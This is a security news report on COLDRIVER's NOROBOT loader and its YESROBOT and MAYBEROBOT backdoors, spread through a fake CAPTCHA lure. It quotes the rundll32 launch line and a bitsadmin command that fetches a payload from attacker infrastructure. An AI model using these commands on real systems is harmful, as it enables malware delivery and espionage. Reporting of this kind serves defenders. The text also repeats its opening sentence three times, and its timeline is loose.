New LOSTKEYS Malware Linked to Russia State-Sponsored Hacker Group COLDRIVER
In the summer of 2025, a new malware family, following the disclosure of the LOSTKEYS implant, was identified. This malware was quickly utilized in targeted attacks against policy advisors, non-governmental organizations, and dissidents.
In the summer of 2025, a new malware family, following the disclosure of the LOSTKEYS implant, was identified. This malware was quickly utilized in targeted attacks against policy advisors, non-governmental organizations, and dissidents.
The malware employed a lure known as COLDCOPY ClickFix, which disguised the payload as a CAPTCHA verification. This tactic tricked users into executing a malicious DLL via rundll32 .
Initial samples showed rapid development with multiple iterations of the downloader component and backdoor stages. Google Cloud analysts reported that the loader, named NOROBOT, was deployed soon after the LOSTKEYS profile was released.
Unlike its predecessor, which used a multi-stage PowerShell approach, NOROBOT utilized rundll32 iamnotarobot.dll,humanCheck to start the infection chain.
Subsequent stages retrieved cryptographic keys and payloads from attacker-controlled infrastructure. These were combined to decrypt and install a Python backdoor, YESROBOT.
YESROBOT was initially deployed briefly in late May, before being replaced by a streamlined PowerShell backdoor, MAYBEROBOT. This change reduced detection noise from a bundled Python interpreter and allowed more flexible command execution without requiring a full interpreter runtime.
In the summer of 2025, a new malware family, following the disclosure of the LOSTKEYS implant, was identified.
Both backdoors had minimal built-in functions, depending on the operator to provide complex commands over HTTPS to a set command-and-control server.
Over time, the malware evolved to its third major iteration, simplifying delivery, rotating infrastructure, and changing file naming conventions to avoid detection.
The infection process starts when a user accesses a compromised page masquerading as a custom CAPTCHA. This prompts the user to execute iamnotarobot.dll , invoking the humanCheck export.
NOROBOT then retrieves encrypted payload fragments using bitsadmin:
bitsadmin /transfer downloadJob /download /priority normal https://inspectguarantee.org/libsystemhealthcheck.py %APPDATA%\libsystemhealthcheck.py
The loader writes part of the AES key to the registry and schedules a task to assemble and decrypt the final payload. This staged approach forces defenders to gather multiple artifacts, such as downloads and registry entries, to understand the complete chain.
By splitting cryptographic keys and varying downloader complexity, COLDRIVER maintains operational security while targeting high-value individuals for intelligence collection.
Based on reporting by Cyber Security News.